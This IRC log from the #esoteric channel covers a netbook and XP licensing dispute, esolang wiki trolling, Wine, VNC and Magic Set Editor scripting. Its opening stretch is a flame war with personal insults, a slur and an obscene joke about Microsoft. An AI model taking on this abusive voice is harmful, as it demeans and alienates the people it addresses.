:Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol pikhq < 1250441861 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : Microsoft secretly fucks babies to shit out new versions of windows. < 1250441863 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, um. are you *trying* to say they can use XP if it is a powerful, as long as it is called "notebook" not "netbook"? < 1250441865 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : No, they don't. < 1250441869 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : WHAT DO YOU LOVE MICROSOFT OR SOMETHING?????? < 1250441887 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: You are fekking retarded. < 1250441899 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, can you see in that quote where ehird answered the question I asked. Since I can't. < 1250441899 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :...................................................................................... < 1250441933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, and I'm pretty sure ehird is incorrect in this case. < 1250441946 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :gee, that's new; not like you always are or anything < 1250442002 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It occurs to me that PSOX was designed to be language-neutral in the same way that Minimal was designed to be TC < 1250442007 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1250442061 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, because my thinkpad is definitely beyond those specs you mentioned. Yet it ships with such a downgrade to XP cd. Yes what pikhq said answered the question. But you never did. < 1250442063 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Well, it's at least a bit more sane. < 1250442072 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A language with stdio could at least *use* PSOX. < 1250442074 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Your thinkpad is not a fucking netbook. < 1250442082 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You are either being purposefully dense, or have less of a brain than a rat. < 1250442090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, correct. So: ehird, um. are you *trying* to say they can use XP if it is a powerful, as long as it is called "notebook" not "netbook"? < 1250442093 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you didn't answer it < 1250442113 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because that wasn't clear from what you said before < 1250442114 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :/sigh < 1250442123 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They have a definition for "netbook", but basically. < 1250442140 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, right. :) < 1250442144 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Can't one simply netcat instead of psox, to redirect I/O to a server? < 1250442163 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :FireFly: For trivial cases, sure. < 1250442169 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :PSOX does more than that. < 1250442172 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly, well, iirc PSOX can do more than that. Like... file IO < 1250442172 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Uhh, that completely contradicts what AnMaster says. < 1250442179 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :They have a definition of "netbook". < 1250442184 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Hm, alright < 1250442186 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It's not about what the company calls it. < 1250442200 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : Is it if you call it netbook It's about if it's a netbook, not if it's called that, but basically. < 1250442204 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i.e., not that at all. < 1250442204 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that definition includes that it isn't too powerful? OK < 1250442229 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The definition can't include that it isn't too powerful, otherwise, there'd be no such thing as a netbook too powerful for XP < 1250442239 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Out of curiosity, did you get a stick up your ass today? < 1250442246 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, now YOU are being dense < 1250442247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since that wasn't what I said at all < 1250442252 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and pikhq understood me correctly < 1250442278 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Wow, that's remarkably reasonable of you; "Stop arguing with me and let me win no matter if I'm right or wrong otherwise I'll insult you". < 1250442281 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Convincing indeed. < 1250442283 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, without PSOX, the esolang can't really determine what server to connect to. < 1250442289 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: ... < 1250442291 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Can I reply with an equally eloquent suggestion, that of "fuck off"? < 1250442298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this < 1250442301 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :seems familiar < 1250442303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :somehow < 1250442307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah yes < 1250442324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :_Typical_ ehird-being-annoyed-scenario < 1250442327 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If I childishly chant "Fight fight fight!", will that stop the fight? < 1250442330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gets the popcorn
< 1250442342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Not that I like popcorn really < 1250442347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it's traditional < 1250442356 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird, you rank up with GNAA in the halls of trolldom. ;) < 1250442365 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: No, because AnMaster will mistake it for a reasonable argument ("If I liken a situation to something common (because I said so), it stands to reason that all your arguments must be false.") < 1250442400 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: You do, at least, have the useful property of being predictable. It's much easier to argue when you can make one argument and repeat it because it still applies forever. < 1250442403 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Thanks. < 1250442406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, give it a try < 1250442423 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: -_-' < 1250442428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, I'm not sure what ehird was suggesting I would do. It was to incoherent to understand < 1250442433 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: You're still doing it. < 1250442439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, BUT, it is fun to watch < 1250442458 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, I understood it perfectly, but it makes no sense because you're already partially doing it. < 1250442487 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Me saying "Fight fight fight" should have nothing to do with you doing what ehird claimed you would. < 1250442488 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i do believe you just called AnMaster's attempt at a serious insult of me a childish chant < 1250442501 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I didn't. < 1250442507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :actually, mine *was* intended to be silly < 1250442518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from " seems familiar" < 1250442530 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :17:05] Sgeo: If I childishly chant "Fight fight fight!", will that stop the fight? < 1250442531 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :17:06] AnMaster: Sgeo, give it a try < 1250442531 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :17:07] AnMaster: Sgeo, I'm not sure what ehird was suggesting I would do. It was to incoherent to understand < 1250442531 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :17:07] Sgeo: AnMaster, I understood it perfectly, but it makes no sense because you're already partially doing it. < 1250442554 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: claiming something you said was meant to be silly doesn't mean shit when you're using it in place of saying anything coherent < 1250442574 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, so why do you still do it < 1250442575 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is this fight even _about_ anything anymore? < 1250442576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1250442588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, no < 1250442595 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :There is no fight. < 1250442604 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it would be, if AnMaster didn't seem to think that yelling at me is a substitute for anything else. < 1250442627 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But in either case, it's now fighting about the fight. That seems dumb to me. < 1250442645 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, Um? It was pikhq who was < 1250442647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and you < 1250442657 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :No, you followed in the same vein as pikhq. < 1250442663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you used upper case, thus yelled < 1250442666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I didn't < 1250442680 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: irc is dumb. < 1250442689 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ........... < 1250442690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, meta-fight < 1250442696 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Gee, it isn't like "yell" could mean "insult" or anything. < 1250442699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I never meta-fight I didn't like < 1250442706 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :No, I must have meant it totally literally. You are so right. < 1250442708 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :actually < 1250442714 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, you just used "silliness" as a stand-in for actual arguments again. < 1250442716 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :should drop the negation < 1250442722 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Should make this a drinking game. < 1250442740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, you do that all the time. You even admitted it a few days ago < 1250442745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :about being silly all the time < 1250442754 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :arguments for what? Who started this silliness in the first place? Does anyone actually care? < 1250442770 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i care < 1250442782 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You know, AnMaster, I sometimes wonder how on earth you sometimes understand anything anyone says. < 1250442790 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It's clear you can't comprehend the english language at all./ < 1250442812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, You are using insults instead of actual arguments now < 1250442815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just fyi < 1250442839 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Why do people feel a need to follow up anything I say with a direct example of it? < 1250442847 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The idiocy is astounding < 1250442847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I'm a bit busy, so I'm going to use ignore, until you came to your senses again < 1250442858 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Oh, the irony. < 1250442926 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, tell me when he came back to his senses. < 1250442937 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Oh, the irony^2. < 1250443396 0 :Judofyr!unknown@unknown.invalid QUIT :Remote closed the connection < 1250444349 0 :FireFly!unknown@unknown.invalid QUIT :Remote closed the connection < 1250444384 0 :FireFly!n=FireFly@1-1-3-36a.tul.sth.bostream.se JOIN :#esoteric < 1250444483 0 :oerjan!n=oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1250444548 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :about the wlan thingy at uni, further research indicates WPA2 + RADIUS is only used in the library building. At least one building instead uses open + "try to load any web page, get auto restricted to a login page, where you have enter the login, before being able to use internet. I have no idea if that network part will only be able to browse or actually do something useful (like tunnel to home) < 1250444556 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, ^ < 1250444574 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, how does it work at the university you are at < 1250444589 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :they use WPA professional, with username and password < 1250444597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, hm interesting < 1250444628 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, iirc ehird claimed yesterday that you said your uni used open network < 1250444636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well guess he was wrong or had outdated info < 1250444638 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I did not. < 1250444642 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* < 1250444644 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :At all. < 1250444657 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Not one bit. Completely fabricated. < 1250444662 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(might have been a few more days ago than yesterday, not sure) < 1250444665 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :How childish. < 1250446122 0 :Asztal!n=asztal@host86-162-150-131.range86-162.btcentralplus.com JOIN :#esoteric < 1250446780 0 :Judofyr!n=Judofyr@c249DBF51.dhcp.bluecom.no JOIN :#esoteric < 1250449605 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehird: any idea who 72.74.122.180 is? < 1250449614 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think they're counter-trolling esolang < 1250449616 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks
< 1250449633 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :+: toggles the memory space. < 1250449633 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :-: toggles the toggle. < 1250449633 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :.: copies the selected memory to the stack and resets if M1. < 1250449634 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :,: copies the stack to the selected memory and resets if M2. < 1250449634 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :<: prints the selected memory as an ASCII character. < 1250449634 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :>: prints the stack value mod 128 as an ASCII character. < 1250449636 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[: increases the stack value by 2. < 1250449638 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :]: decreases the stack value by 1. < 1250449640 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1250449652 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Almost_impossible_to_learn_and_apply_esoteric_programming_language < 1250449655 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i like this guy < 1250449671 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i don't think he's counter-trollign us per se < 1250449681 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, he's trolling the trolls < 1250449684 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :rather than us < 1250449687 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :right < 1250449693 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i like the pages, let's keep 'em < 1250449698 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :not me :) < 1250449738 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: http://esolangs.org/w/index.php?title=Chess&diff=prev&oldid=15182 is their only non-trolly edit < 1250449738 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :likely the same person as 71.184.8.98 < 1250449742 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :who is probably smallhacker < 1250449745 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the creator of that language < 1250449756 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, I like what they're doing anyway < 1250449759 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :although that's less certain < 1250449764 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/w/index.php?title=Chess&action=history < 1250449766 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :almost certainly not them < 1250449770 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :since it's two years later < 1250449781 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/w/index.php?title=Chess&diff=prev&oldid=15160 "an idea" < 1250449784 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: so it's just someone. < 1250449788 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fair enough < 1250449796 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if whoever it is is here, well done < 1250449843 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm... esolang idea: it's trivial to imagine a language which introduces off-by-one errors < 1250449850 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1250449852 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but < 1250449861 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that would be the analogue of the machine that makes a drink that's almost, but not entirely, like tea < 1250449863 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so < 1250449867 0 :Pthing!n=pthing@77-100-194-169.cable.ubr04.pres.blueyonder.co.uk JOIN :#esoteric < 1250449871 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the analogue of the machine that makes a drink that's almost, but not entirely, unlike tea < 1250449874 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric := ??? < 1250449891 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :an esolang which nearly always gives the wrong answer < 1250449901 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you'd have to have your algorithm in the corners of another one, so to speak < 1250450260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs some fairy cake with that
< 1250450621 0 :MigoMipo!unknown@unknown.invalid PRIVMSG #esoteric :I believe Java2K is "probabilistic". < 1250450639 0 :MigoMipo!unknown@unknown.invalid PRIVMSG #esoteric :Which means that each operation is only "likely" to give the correct result. < 1250450654 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nutrimatic isn't that, though < 1250451104 0 :oerjan!unknown@unknown.invalid QUIT :"Bus" < 1250451383 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :You have: no tea. < 1250452024 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1250452035 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, link to this? < 1250452043 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :err, what? < 1250452045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, the counter troll < 1250452049 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :see recent changes < 1250452081 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah... things are finally "working" again < 1250452104 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I managed to get a backtrace... discovered the bug was in ext4 and the only way to fix was to upgrade to karmic alpha, but that's okay because the development version is probably more stable than my computer was prior < 1250452133 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION debugs Wine
< 1250452150 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :K in Wine is working better than K via SSH X11 forwarding to a VM running Ubuntu Server :-P < 1250452157 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :K? < 1250452164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Almost_impossible_to_learn_and_apply_esoteric_programming_language < 1250452165 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :awesome programming language. < 1250452167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that? heh < 1250452171 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: and the bf one. < 1250452317 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :on the plus side, firefox now renders significantly better < 1250452358 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/I_hate_your_bf-derivative_really_I_do <-- quite a confusing language :D < 1250452368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or < 1250452374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a confusing description < 1250452394 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You're not meant to think it's :D. < 1250452417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, why not? Can you tell me if it is TC or not < 1250452428 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :"Whoosh" doesn't quite cut it right now. < 1250452472 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm no flow control it seems < 1250452483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so indeed, not TC I guess < 1250452486 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: could we do a duet "whoosh" or something? < 1250452491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :infinite memory though stack though < 1250452500 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I had read half when I noted it was confusing < 1250452505 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehird: no need, surely? < 1250452515 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: the universe is crumbling under the pressure < 1250452527 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :although you could argue that the action is (karmically) its own whoosh < 1250452529 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i suppose < 1250452645 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :wine's file explorer is nifty. < 1250452654 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :remarkably polished < 1250452792 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i love how k and kdb just dump their files in c:\windows :) < 1250452801 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :admittedly that's just two files for k and one for kdb < 1250452810 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :well, kdb also puts stuff in c:\k. < 1250453181 0 :puzzlet!unknown@unknown.invalid QUIT :Remote closed the connection < 1250453184 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1250453207 0 :InsanePyros!n=chatzill@75-120-52-86.dyn.centurytel.net JOIN :#esoteric < 1250453754 0 :InsanePyros!unknown@unknown.invalid NICK :fleshBasedProces < 1250453893 0 :fleshBasedProces!unknown@unknown.invalid NICK :FBP < 1250454000 0 :FBP!unknown@unknown.invalid PRIVMSG #esoteric :Hello. < 1250454125 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Hello. < 1250454206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, dumping files in c:\windows sounds like a bad idea to me < 1250454212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for a program < 1250454213 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's safe < 1250454220 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's just that it's in %path% by default < 1250454221 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(obviously, it is required for drivers or such) < 1250454229 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it just writes c:\windows\k.exe and c:\windows\k20.dll < 1250454237 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :kdb writes c:\windows\ksomething.dll < 1250454241 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, doesn't windows has an alternative way to find apps < 1250454245 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :command line. < 1250454252 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, I meant, for command line < 1250454253 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(*kodbc.dll) < 1250454255 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no < 1250454276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, yes. I'm pretty sure, not well known < 1250454282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I forgot the name of it < 1250454284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes digging
< 1250454284 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no. < 1250454294 0 :jix!unknown@unknown.invalid QUIT :Read error: 113 (No route to host) < 1250454338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, it's "app path" or something like that < 1250454429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1250454438 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yes, there is %path%. < 1250454446 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :like i said. < 1250454452 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you'd have to go into control panel and change it < 1250454488 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well actually, what I was thinking about was for something else < 1250454493 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :see http://www.codeguru.com/cpp/w-p/dll/article.php/c99 < 1250454506 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(first relevant google hit) < 1250454511 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which indeed does something else < 1250454513 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :than I remembered < 1250454693 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, http://www.karlrunge.com/x11vnc <-- if you ever need to do that, it works very well < 1250454696 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful app < 1250454730 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i forwarded x11 over ssh, not run an xserver in the vm < 1250454742 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :windows gui with wine is a lot snappier though. < 1250454830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what sort of thing like that is there for OS X < 1250454850 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, lets say you want to connect to your screen on your desktop from your laptop < 1250454853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just an example < 1250454858 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it has many vnc servers and clients. < 1250454865 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and also X11, if you want to do X11 apps. < 1250454866 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ok :) < 1250454875 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: OS X comes with VNC server & client < 1250454884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well, I somehow assumed you would want to run other apps than just X11 ones :P < 1250454888 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :System Preferences → Sharing → Tick "Screen Sharing" < 1250454896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1250454900 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you can VNC to servers with finder's Connect to Sever < 1250454901 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :*Server < 1250454951 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION just discovered he's been working with an embedded scripting language with interesting potential
< 1250455051 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :which < 1250455060 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :MSEscript < 1250455071 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(it actually doesn't have a name. But it's the script in MSE, so... < 1250455086 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :microsoft script editor? < 1250455104 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :looks like vbscript. < 1250455146 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Magic Set Editor < 1250455173 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :a program for creating custom cards (espcially for M:tG, but there are many templates available now) < 1250455256 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the scripting language is dynamically-scoped, strongly-typed (I think it is now, anyways) and was designed for use with a reflection system that would probably make it attractive for embedding in another program < 1250455258 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :looks like lua. < 1250455263 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, it's lua-like < 1250455275 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but it's not Lua < 1250455335 0 